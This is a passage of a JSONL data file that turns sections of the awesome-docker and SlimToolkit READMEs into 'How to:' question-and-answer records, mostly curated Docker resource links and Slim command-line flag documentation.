Resources for learning Docker](https://hackr.io/tutorials/learn-docker)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687770"}
{"id": "gh_172ed3c1bd6e", "question": "How to: Awesome Lists", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [Awesome CI/CD](https://github.com/cicdops/awesome-ciandcd) - Not specific to docker but relevant.\n-   [Awesome Compose](https://github.com/docker/awesome-compose) - Docker Compose samples\n-   [Awesome Kubernetes](https://github.com/ramitsurana/awesome-kubernetes) by [@ramitsurana][ramitsurana]\n-   [Awesome Linux Container](https://github.com/Friz-zy/awesome-linux-containers) more general about container than this repo, by [@Friz-zy](https://github.com/Friz-zy).\n-   [Awesome Selfhosted](https://github.com/awesome-selfhosted/awesome-selfhosted) list of Free Software network services and web applications which can be hosted locally by running in a classical way (setup local web server and run applications from there) or in a Docker container. By [@Kickball](https://github.com/Kickball)\n-   [Awesome Sysadmin](https://github.com/n1trux/awesome-sysadmin) by [@n1trux](https://github.com/n1trux)\n-   [ToolsOfTheTrade](https://github.com/cjbarber/ToolsOfTheTrade) a list of SaaS and On premise applications by [@cjbarber](https://github.com/cjbarber)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687776"}
{"id": "gh_b2c194b25359", "question": "How to: Demos and Examples", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [An Annotated Docker Config for Frontend Web Development](https://nystudio107.com/blog/an-annotated-docker-config-for-frontend-web-development) A local development environment with Docker allows you to shrink-wrap the devops your project needs as config, making onboarding frictionless.\n-   [Local Docker DB](https://github.com/alexmacarthur/local-docker-db) a list of docker-compose samples for a lot of databases by [@alexmacarthur](https://github.com/alexmacarthur)\n-   [Webstack-micro](https://github.com/ferbs/webstack-micro) Demo web app showing how Docker Compose might be used to set up an API Gateway, centralized authentication, background workers, and WebSockets as containerized services.", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687781"}
{"id": "gh_a44eec20412b", "question": "How to: Raspberry Pi & ARM", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [Docker Pirates ARMed with explosive stuff](https://blog.hypriot.com/) Huge resource on clustering, swarm, docker, pre-installed image for SD card on Raspberry Pi\n-   [Get Docker up and running on the RaspberryPi in three steps](https://github.com/umiddelb/armhf/wiki/Get-Docker-up-and-running-on-the-RaspberryPi-%28ARMv6%29-in-three-steps)\n-   [git push docker containers to linux devices](https://www.balena.io) Modern DevOps for IoT, leveraging git and Docker.\n-   [Installing, running, using Docker on armhf (ARMv7) devices](https://github.com/umiddelb/armhf/wiki/Installing,-running,-using-docker-on-armhf-%28ARMv7%29-devices)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687788"}
{"id": "gh_e4307ce72aa0", "question": "How to: Stargazers over time", "question_body": "About veggiemonk/awesome-docker", "answer": "[![Stargazers over time](https://starchart.cc/veggiemonk/awesome-docker.svg)](https://starchart.cc/veggiemonk/awesome-docker)\n\n[contributing]: https://github.com/veggiemonk/awesome-docker/blob/master/.github/CONTRIBUTING.md\n[akito]: https://github.com/theAkito\n[calico]: https://github.com/projectcalico/calico\n[centurylinklabs]: https://github.com/CenturyLinkLabs\n[containx]: https://github.com/ContainX\n[containers]: https://github.com/containers\n[coreos]: https://github.com/coreos\n[deepfence]: https://github.com/deepfence\n[distribution]: https://github.com/docker/distribution\n[docker-flow]: https://github.com/docker-flow\n[docker-for-windows]: https://docs.docker.com/desktop/setup/install/windows-install/\n[docker]: https://github.com/docker\n[dozzle]: https://github.com/amir20/dozzle\n[editreadme]: https://github.com/veggiemonk/awesome-docker/edit/master/README.md\n[fgrehm]: https://github.com/fgrehm\n[gesellix]: https://github.com/gesellix\n[genuinetools]: https://github.com/genuinetools\n[gliderlabs]: https://github.com/gliderlabs\n[google]: https://github.com/google\n[googlecontainertools]: https://github.com/GoogleContainerTools\n[inspec]: https://github.com/inspec/inspec\n[jessfraz]: https://github.com/jessfraz\n[jpetazzo]: https://github.com/jpetazzo\n[jwilder]: https://github.com/jwilder\n[kubernetes]: https://kubernetes.io\n[lispyclouds]: https://github.com/lispyclouds\n[nvidia]: https://github.com/nvidia\n[nginxproxy]: https://github.com/nginx-proxy/nginx-proxy\n[openshift]: https://okd.io/\n[oracle]: https://github.com/oracle\n[peco602]: https://github.com/Peco602\n[powerman]: https://github.com/powerman\n[progrium]: https://github.com/progrium\n[ramitsurana]: https://github.com/ramitsurana\n[rancher]: https://github.com/rancher\n[safe-waters]: https://github.com/safe-waters\n[sindresorhus]: https://github.com/sindresorhus/awesome\n[spotify]: https://github.com/spotify\n[tomastomecek]: https://github.com/TomasTomecek\n[vegasbrianc]: https://github.com/vegasbrianc\n[weave]: https://github.com/weaveworks/weave\n[vmware]: https://github.com/vmware\n[@byrnedo]: https://github.com/byrnedo\n[@crazy-max]: https://github.com/crazy-max\n[@grammarly]: https://github.com/grammarly\n[@skanehira]: https://github.com/skanehira", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687801"}
{"id": "gh_5ae5da928a3c", "question": "How to: Optimize Your Experience with Containers. Make Your Containers Better, Smaller, More Secure and Do Less to Get There (free and open source!)", "question_body": "About slimtoolkit/slim", "answer": "Note that **DockerSlim** is now just **Slim** (**SlimToolkit** is the full name, so it's easier to find it online) to show its growing support for additional container tools and runtimes in the cloud native ecosystem.\n\n**Slim** is now a CNCF Sandbox project. It was created by [Kyle](https://github.com/kcq) [Quest](https://twitter.com/kcqon) and it's been improved by many [contributors](https://github.com/slimtoolkit/slim/graphs/contributors). The project is supported by Root.io (formerly known as Slim.AI).\n \nHere's how Slim and Root work together: Slim helps you build optimized containers, while Root.io automatically fixes vulnerabilities without disrupting your workflows. Use Slim's open source toolkit to optimize containers, then keep them secure with Root's automated vulnerability remediation – from optimization to continuous security in one seamless journey. Learn more at www.root.io.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062870"}
{"id": "gh_62ec282f0d75", "question": "How to: SlimToolkit on the Internet", "question_body": "About slimtoolkit/slim", "answer": "##### Books:\n* [`Everyone's Docker/Kubernetes`](https://www.amazon.co.jp/dp/429710461X) (Japanese)\n* [`Docker in Practice (2nd edition)`](https://www.amazon.com/Docker-Practice-Ian-Miell/dp/1617294802)\n* [`Docker/Kubernetes Security Practice Guide`](https://www.amazon.co.jp/dp/4839970505) (Japanese)", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062892"}
{"id": "gh_8630613cdc8b", "question": "How to: Minification Examples", "question_body": "About slimtoolkit/slim", "answer": "You can find the examples in a separate repository: [https://github.com/slimtoolkit/examples](https://github.com/slimtoolkit/examples)\n\nNode.js application images:\n\n- from ubuntu:14.04 - 432MB => 14MB (minified by **30.85X**)\n- from debian:jessie - 406MB => 25.1MB (minified by **16.21X**)\n- from node:alpine - 66.7MB => 34.7MB (minified by **1.92X**)\n- from node:distroless - 72.7MB => 39.7MB (minified by **1.83X**)\n\nPython application images:\n\n- from ubuntu:14.04 - 438MB => 16.8MB (minified by **25.99X**)\n- from python:2.7-alpine - 84.3MB => 23.1MB (minified by **3.65X**)\n- from python:2.7.15 - 916MB => 27.5MB (minified by **33.29X**)\n- from centos:7 - 647MB => 23MB (minified by **28.57X**)\n- from centos/python-27-centos7 - 700MB => 24MB (minified by **29.01X**)\n- from python2.7:distroless - 60.7MB => 18.3MB (minified by **3.32X**)\n\nRuby application images:\n\n- from ubuntu:14.04 - 433MB => 13.8MB (minified by **31.31X**)\n- from ruby:2.2-alpine - 319MB => 27MB (minified by **11.88X**)\n- from ruby:2.5.3 - 978MB => 30MB (minified by **32.74X**)\n\nGo application images:\n\n- from golang:latest - 700MB => 1.56MB (minified by **448.76X**)\n- from ubuntu:14.04 - 531MB => 1.87MB (minified by **284.10X**)\n- from golang:alpine - 258MB => 1.56MB (minified by **165.61X**)\n- from centos:7 - 615MB => 1.87MB (minified by **329.14X**)\n\nRust application images:\n\n- from rust:1.31 - 2GB => 14MB (minified by **147.16X**)\n\nJava application images:\n\n- from ubuntu:14.04 - 743.6 MB => 100.3 MB\n\nPHP application images:\n\n- from php:7.0-cli - 368MB => 26.6MB (minified by **13.85X**)\n\nHaskell application images:\n\n- (Scotty service) from haskell:8 - 2.09GB => 16.6MB (minified by **125.32X**)\n- (Scotty service) from haskell:7 - 1.5GB => 21MB (minified by 71X)\n\nElixir application images:\n\n- (Phoenix service) from elixir:1.6 - 1.1 GB => 37 MB (minified by **29.25X**)\n\n---\n- [RECENT UPDATES](#recent-updates)\n- [INSTALLATION](#installation)\n- [BASIC USAGE INFO](#basic-usage-info)\n- [COMMANDS](#commands)\n- [USAGE DETAILS](#usage-details)\n  - [`LINT` COMMAND OPTIONS](#lint-command-options)\n  - [`XRAY` COMMAND OPTIONS](#xray-command-options)\n  - [`BUILD` COMMAND OPTIONS](#build-command-options)\n  - [`DEBUG` COMMAND OPTIONS](#debug-command-options)\n  - [`RUN` COMMAND OPTIONS](#run-command-options)\n  - [`REGISTRY` COMMAND OPTIONS](#registry-command-options)\n  - [`VULNERABILITY` COMMAND OPTIONS](#vulnerability-command-options)\n- [RUNNING CONTAINERIZED](#running-containerized)\n- [DOCKER CONNECT OPTIONS](#docker-connect-options)\n- [HTTP PROBE COMMANDS](#http-probe-commands)\n- [DEBUGGING MINIFIED CONTAINERS](#debugging-minified-containers)\n- [MINIFYING COMMAND LINE TOOLS](#minifying-command-line-tools)\n- [QUICK SECCOMP EXAMPLE](#quick-seccomp-example)\n- [USING AUTO-GENERATED SECCOMP PROFILES](#using-auto-generated-seccomp-profiles)\n- [ORIGINAL DEMO VIDEO](#original-demo-video)\n- [DEMO STEPS](#demo-steps)\n- [FAQ](#faq)\n  - [Is it safe for production use?](#is-it-safe-for-production-use)\n  - [How can I contribute if I don't know Go?](#how-can-i-contribute-if-i-dont-know-go)\n  - [What's the best application for Slim?](#whats-the-best-application-for-slim)\n  - [Can I use Slim with dockerized command line tools?](#can-i-use-slim-with-dockerized-command-line-tools)\n  - [What if my Docker images uses the USER command?](#what-if-my-docker-images-uses-the-user-command)\n  - [Nginx fails in my minified image](#nginx-fails-in-my-minified-image)\n  - [Slim fails with a 'no permission to read from' error](#slim-fails-with-a-no-permission-to-read-from-error)\n- [BUILD PROCESS](#build-process)\n  - [Build Steps](#build-steps)\n- [CONTRIBUTING](#contributing)\n- [DESIGN](#design)\n  - [CORE CONCEPTS](#core-concepts)\n  - [DYNAMIC ANALYSIS OPTIONS](#dynamic-analysis-options)\n  - [SECURITY](#security)\n  - [CHALLENGES](#challenges)\n- [ORIGINS](#origins)\n- [MINIFIED IMAGES ON DOCKER HUB](#minified-images-on-docker-hub)\n- [LICENSE](#license)", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062915"}
{"id": "gh_de8eff5c9616", "question": "How to: RECENT UPDATES", "question_body": "About slimtoolkit/slim", "answer": "Latest version: `1.40.11` (`2/2/2024`)\n\nThe 1.40.11 version adds support for the latest Docker Engine version, improves `xray` reports and adds new `build` command flags (`--include-dir-bins` and `--include-ssh-client`).\n\nFor more info about the latest release see the [`CHANGELOG`](CHANGELOG.md).", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062923"}
{"id": "gh_989def8ec003", "question": "How to: INSTALLATION", "question_body": "About slimtoolkit/slim", "answer": "If you already have Slim installed use the `update` command to get the latest version:\n\n```\nslim update\n```", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062928"}
{"id": "gh_b5960fa3a042", "question": "How to: BASIC USAGE INFO", "question_body": "About slimtoolkit/slim", "answer": "`slim [global flags] [xray|build|profile|run|debug|lint|merge|images|registry|vulnerability|update|version|appbom|help] [command-specific flags]\n`\n\nIf you don't specify any command `slim` will start in the interactive prompt mode.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062938"}
{"id": "gh_4e59a1329b98", "question": "How to: USAGE DETAILS", "question_body": "About slimtoolkit/slim", "answer": "`slim [global options] command [command options]\n`\n\nCommands:\n\n- `xray` - Show what's in the container image and reverse engineer its Dockerfile\n- `lint` - Lint the target Dockerfile (or image, in the future)\n- `build` - Analyze the target container image along with its application and build an optimized image from it\n- `debug` - Debug the running target container. This command is useful for troubleshooting running containers created from minimal/minified or regular container images.\n- `registry` - Execute registry operations (`pull`, `push`, `copy`, `server`).\n- `profile` - Collect fat image information and generate a fat container report\n- `merge` - Merge two container images (optimized to merge minified images)\n- `images` - Get information about container images.\n- `vulnerability` - Execute vulnerability related tools and operations (`epss`).\n- `appbom` - Shows the application BOM (app composition/dependencies)\n- `version` - Show app and docker version information\n- `update` - Update the app\n- `help` - Show help info\n\nGlobal options:\n\n- `--report` - command report location (target location where to save the executed command results; `slim.report.json` by default; set it to `off` to disable)\n- `--check-version` - check if the current version is outdated\n- `--version` - print the version\n- `--debug` - enable debug logs\n- `--verbose` - enable info logs\n- `--log-level` - set the logging level ('debug', 'info', 'warn' (default), 'error', 'fatal', 'panic')\n- `--log-format` - set the format used by logs ('text' (default), or 'json')\n- `--crt-api-version` - Container runtime API version\n- `--quiet` - less verbose CLI execution mode\n- `--output-format` - set the output format to use ('text' (default), or 'json')\n- `--log` - log file to store logs\n- `--host` - Docker host address or socket (prefix with `tcp://` or `unix://`)\n- `--tls` - use TLS connecting to Docker\n- `--tls-verify` - do TLS verification\n- `--tls-cert-path` - path to TLS cert files\n- `--state-path value` - Slim state base path (must set it if the Slim binaries are not in a writable directory!)\n- `--archive-state` - Archives Slim state to the selected Docker volume (default volume - `slim-state`). By default, enabled when Slim is running in a container (disabled otherwise). Set it to `off` to disable explicitly.\n- `--in-container` - Set it to true to explicitly indicate that Slim is running in a container (if it's not set Slim will try to analyze the environment where it's running to determine if it's containerized)\n\nTo disable the version checks set the global `--check-version` flag to `false` (e.g., `--check-version=false`) or you can use the `DSLIM_CHECK_VERSION` environment variable.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062954"}
{"id": "gh_d0041ee1d02e", "question": "How to: `LINT` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "- `--target` - target Dockerfile path (or Docker image, in the future; if you don't use this flag you must specify the target as the argument to the command)\n- `--target-type` - explicitly specify the command target type (values: dockerfile, image)\n- `--skip-build-context` - don't try to analyze build context\n- `--build-context-dir` - explicitly specify the build context directory\n- `--skip-dockerignore` - don't try to analyze .dockerignore\n- `--include-check-label` - include checks with the selected label key:value\n- `--exclude-check-label` - exclude checks with the selected label key:value\n- `--include-check-id` - check ID to include\n- `--include-check-id-file` - file with check IDs to include\n- `--exclude-check-id` - check ID to exclude\n- `--exclude-check-id-file` - file with check IDs to exclude\n- `--show-nohits` - show checks with no matches\n- `--show-snippet` - show check match snippet (default value: true)\n- `--list-checks` - list available checks (don't need to specify the target flag if you just want to list the available checks)", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062962"}
{"id": "gh_9ed02425dae9", "question": "How to: `XRAY` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "- `--target` - Target container image (name or ID)\n- `--pull` - Try pulling target if it's not available locally (default: false).\n- `--docker-config-path` - Set the docker config path used to fetch registry credentials (used with the `--pull` flag).\n- `--registry-account` - Account to be used when pulling images from private registries (used with the `--pull` flag).\n- `--registry-secret` - Account secret to be used when pulling images from private registries (used with the `--pull` and `--registry-account` flags).\n- `--show-plogs` - Show image pull logs (default: false).\n- `--changes value` - Show layer change details for the selected change type (values: none, all, delete, modify, add).\n- `--changes-output value` - Where to show the changes (values: all, report, console).\n- `--layer value` - Show details for the selected layer (using layer index or ID)\n- `--add-image-manifest` - Add raw image manifest to the command execution report file\n- `--add-image-config` - Add raw image config object to the command execution report file\n- `--layer-changes-max` - Maximum number of changes to show for each layer\n- `--all-changes-max` - Maximum number of changes to show for all layers\n- `--add-changes-max` - Maximum number of `add` changes to show for all layers\n- `--modify-changes-max` - Maximum number of `modify` changes to show for all layers\n- `--delete-changes-max` - Maximum number of `delete` changes to show for all layers\n- `--change-path value` - Include changes for the files that match the path pattern (Glob/Match in Go and **). Value formats: `\n` | `dump:\n:\n` | `::\n` where `output type` is `console` or a directory name. If `value` starts with `dump:` the match will be 'dumped' to the selected `output type`. [can use this flag multiple times]\n- `--change-data value` - Include changes for the files that match the data pattern (regex). Value formats: `\n` | `dump:\n:\n:\n` | `::\n:\n` | `:::\n` where `output type` is `console` or a directory name. If `value` starts with `dump:` the match will be 'dumped' to the selected `output type`. [can use this flag multiple times]\n- `--change-data-hash value` - Include changes for the files that match the provided data hashes (sha1). Value formats: `\n` | `dump:\n:\n` | `::\n` where `output type` is `console` or a directory name. If `value` starts with `dump:` the match will be 'dumped' to the selected `output type`. [can use this flag multiple times]\n- `--reuse-saved-image` - Reuse saved container image (default: true).\n- `--top-changes-max` - Maximum number of top changes to track (default: 20).\n- `--hash-data` - Generate file data hashes (default: false).\n- `--detect-duplicates` - Detect duplicate files based on their hashes (default: true).\n- `--show-duplicates` - Show all discovered duplicate file paths (default: false).\n- `--show-special-perms` - Show files with special permissions (setuid,setgid,sticky) (default: true)\n- `--detect-utf8` - Detect utf8 files and optionally extract the discovered utf8 file content (possible values: \"true\" or \"dump\" or \"dump:output_target.tgz\" or \"dump:output_target.tgz::max_size_bytes\" or \"dump:output_target.tgz:::max_size_bytes\").\n- `--detect-all-certs` - Detect all certificate files\n- `--detect-all-cert-pks` - Detect all certificate private key files\n- `--detect-identities` - Detect system identities (users, groups) and their properties (default: true)\n- `--change-match-layers-only` - Show only layers with change matches (default: false).\n- `--export-all-data-artifacts` - TAR archive file path to export all text data artifacts (if value is set to `.` then the archive file path defaults to `./data-artifacts.tar`)\n- `--remove-file-artifacts` - Remove file artifacts when command is done (note: you'll loose the reverse engineered Dockerfile)\n\nChange Types:\n\n- `none` - Don't show any file system change details in image layers (the top changes from the corresponding layer are still shown)\n- `all` - Show all file system change details in image layers\n- `delete` - Show only `delete` file system change details in image layers\n- `modify` - Show only `modify` file system change details in image layers\n- `add` - Show only 'add' file system change details in image layers\n\nIn the interactive CLI prompt mode you must specify the target image using the `--target` flag while in the traditional CLI mode you can use the `--target` flag or you can specify the target image as the last value in the command.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.062979"}
{"id": "gh_13eddc141b26", "question": "How to: `BUILD` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "- `--target` - Target container image (name or ID). It's an alternative way to provide the target information. The standard way to provide the target information is by putting as the last value in the `build` command CLI call.\n- `--pull` - Try pulling target if it's not available locally (default: false).\n- `--docker-config-path` - Set the docker config path used to fetch registry credentials (used with the `--pull` flag).\n- `--registry-account` - Account to be used when pulling images from private registries (used with the `--pull` flag).\n- `--registry-secret` - Account secret to be used when pulling images from private registries (used with the `--pull` and `--registry-account` flags).\n- `--show-plogs` - Show image pull logs (default: false).\n\n- `--compose-file` - Load container info from selected compose file\n- `--target-compose-svc` - Target service from compose file\n- `--target-compose-svc-image` - Override the container image name and/or tag when targeting a compose service using the target-compose-svc parameter (format: tag_name or image_name:tag_name)\n- `--target-compose-svc-no-ports` - Do not publish ports for target service from compose file\n- `--dep-exclude-compose-svc-all` - Do not start any compose services as target dependencies\n- `--dep-include-compose-svc` - Include specific compose service as a target dependency (only selected services will be started)\n- `--dep-exclude-compose-svc` - Exclude specific service from the compose services that will be started as target dependencies\n- `--dep-include-compose-svc-deps` - Include all dependencies for the selected compose service (excluding the service itself) as target dependencies\n- `--dep-include-target-compose-svc-deps` - Include all dependencies for the target compose service (excluding the service itself) as target dependencies. This is a shortcut flag to avoid repeating the service name (it's a pretty long flag name though :-))\n- `--compose-svc-start-wait` - Number of seconds to wait before starting each compose service\n- `--compose-net` - Attach target to the selected compose network(s) otherwise all networks will be attached\n- `--compose-env-nohost` - Don't include the env vars from the host to compose\n- `--compose-env-file` - Load compose env vars from file (host env vars override the values loaded from this file)\n- `--compose-workdir` - Set custom work directory for compose\n- `--compose-project-name` - Use custom project name for compose\n- `--container-probe-compose-svc` - Container test/probe service from compose file\n- `--prestart-compose-svc` - placeholder for now\n- `--poststart-compose-svc` - placeholder for now\n- `--http-probe` - Enables/disables HTTP probing (ENABLED by default; you have to disable the probe if you don't need it by setting the flag to `false`: `--http-probe=false`)\n- `--http-probe-off` - Alternative way to disable HTTP probing\n- `--http-probe-cmd` - Additional HTTP probe command [can use this flag multiple times]\n- `--http-probe-cmd-file` - File with user defined HTTP probe commands\n- `--http-probe-start-wait` - Number of seconds to wait before starting HTTP probing\n- `--http-probe-retry-count` - Number of retries for each HTTP probe (default value: 5)\n- `--http-probe-retry-wait` - Number of seconds to wait before retrying HTTP probe (doubles when target is not ready; default value: 8)\n- `--http-probe-ports` - Explicit list of ports to probe (in the order you want them to be probed; excluded ports are not probed!)\n- `--http-probe-full` - Do full HTTP probe for all selected ports (if false, finish after first successful scan; default value: false)\n- `--http-probe-exit-on-failure` - Exit when all HTTP probe commands fail (default value: true)\n- `--http-probe-crawl` - Enable crawling for the default HTTP probe command (default value: true)\n- `--http-crawl-max-depth` - Max depth to use for the HTTP probe crawler (default value: 3)\n- `--http-crawl-max-page-count` - Max number of pages to visit for the HTTP probe crawler (default value: 1000)\n- `--http-crawl-concurrency` - Number of concurrent workers when crawling an HTTP target (default value: 10)\n- `--http-max-concurrent-crawlers` - Number of concurrent crawlers in the HTTP probe (default value: 1)\n- `--http-probe-apispec` - Run HTTP probes for API spec where the value represents the target path where the spec is available (supports Swagger 2.x and OpenAPI 3.x) [can use this flag multiple times]\n- `--http-probe-apispec-file` - Run HTTP probes for API spec from file (supports Swagger 2.x and OpenAPI 3.x) [can use this flag multiple times]\n- `--http-probe-exec` - App to execute when running HTTP probes. [can use this flag multiple times]\n- `--http-probe-exec-file` - Apps to execute when running HTTP probes loaded from file.\n- `--publish-port` - Map container port to host port analyzing image at runtime to make it easier to integrate external tests (format => port | hostPort:containerPort | hostIP:hostPort:containerPort | hostIP::containerPort )[can use this flag multiple", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063045"}
{"id": "gh_0254d4a2fb82", "question": "How to: `DEBUG` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "- `--runtime` - Runtime environment type (values: `docker`, `k8s`; defaults to `docker`)\n- `--debug-image` - Debug image to use for the debug side-car container (default value for this flag is `busybox`).\n- `--list-debug-images` - List possible debug images to use for the debug side-car container (for the `--debug-image` flag). This list is a ready to use set of debug images. You can use other images too.\n- `--target` - Target container name or ID (this can also be provided as the last param in the command line invocation of the `debug` command). Note that the target container must be running. You can use the `docker run` command to start the target container (or the kubernetes equivalent).\n- `--namespace` - Namespace to target [k8s runtime] (defaults to `default`)\n- `--pod` - Pod to target [k8s runtime]\n- `--cmd` - (Optional) custom CMD to use for the debug side-car container (alternatively pass custom CMD params after '--').\n- `--entrypoint` - (Optional) custom ENTRYPOINT to use for the debug side-car container.\n- `--terminal` - Attach interactive terminal to the debug container (default: true). When the interactive terminal is not enabled the debug container output will be printed out to the screen when the `debug` command exits.\n- `--kubeconfig` - Kubeconfig file location [k8s runtime]\n- `--workdir` - Custom WORKDIR to use for the debug side-car container.\n- `--env` - Environment variable to add to the debug side-car container.\n- `--run-as-target-shell` - Attach interactive terminal to the debug container and run shell as if it's running in the target container environment.\n- `--list-sessions` - List all debug sessions for the selected target (pod and optionally selected container for k8s or container for other runtimes).\n- `--show-session-logs` - Show logs for the selected debug session (using namespace, pod, target container or debug session container name for k8s or debug session container name for other runtimes).\n- `--session` - Debug session container name (used for debug sessoin actions).\n- `--connect-session` - Connect to existing debug session.\n- `--list-namespaces` - List names for available namespaces (use this flag by itself) [k8s runtime].\n- `--list-pods` - List names for running pods in the selected namespace (use this flag by itself) [k8s runtime].\n- `--list-debuggable-containers` - List container names for active containers that can be debugged (use this flag by itself).\n- `--list-debug-images` - List possible debug images to use for the debug side-car container (use this flag by itself).\n- `--help` show help (default: false)\n\nSee the \"Debugging Using the `debug` Command\" section for more information about this command.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063060"}
{"id": "gh_92457043d8a4", "question": "How to: `RUN` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "Run one or more containers\n\nUSAGE: `slim [GLOBAL FLAGS] run [FLAGS] [IMAGE]`\n\nFlags:\n\n- `--target` - Target container image to run. Same as specifying the target container image as the last value for the command. Used mostly for the interactive prompt mode where you need to select flag names.\n- `--pull` - Pull the target image before trying to run it.\n- `--docker-config-path` - Docker config path (used to fetch registry credentials).\n- `--registry-account` - Target registry account used when pulling images from private registries.\n- `--registry-secret` - Target registry secret used when pulling images from private registries.\n- `--show-plogs` - Show image pull logs.\n- `--entrypoint` - Override ENTRYPOINT running the target image.\n- `--cmd` - Override CMD running the target image.\n- `--live-logs` - Show live logs for the container (can't use with --terminal).\n- `--terminal` - Attach interactive terminal to the container.\n- `--publish` - Map container port to host port (format => port | hostPort:containerPort | hostIP:hostPort:containerPort | hostIP::containerPort ).\n- `--rm` - Remove the container when it exits.\n- `--detach` - Start the container and do not wait for it to exit.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063068"}
{"id": "gh_3e8d940bbb19", "question": "How to: `MERGE` COMMAND OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "Merge two container images. Optimized to merge minified images.\n\nFlags:\n\n- `--image` - Image to merge. Flag instance position determines the merge order. The command supports two instances of this flag.\n\n- `--use-last-image-metadata` - Use only the last image metadata for the merged image.\n\n- `--tag` - Custom tags for the output image (multiple instances).", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063074"}
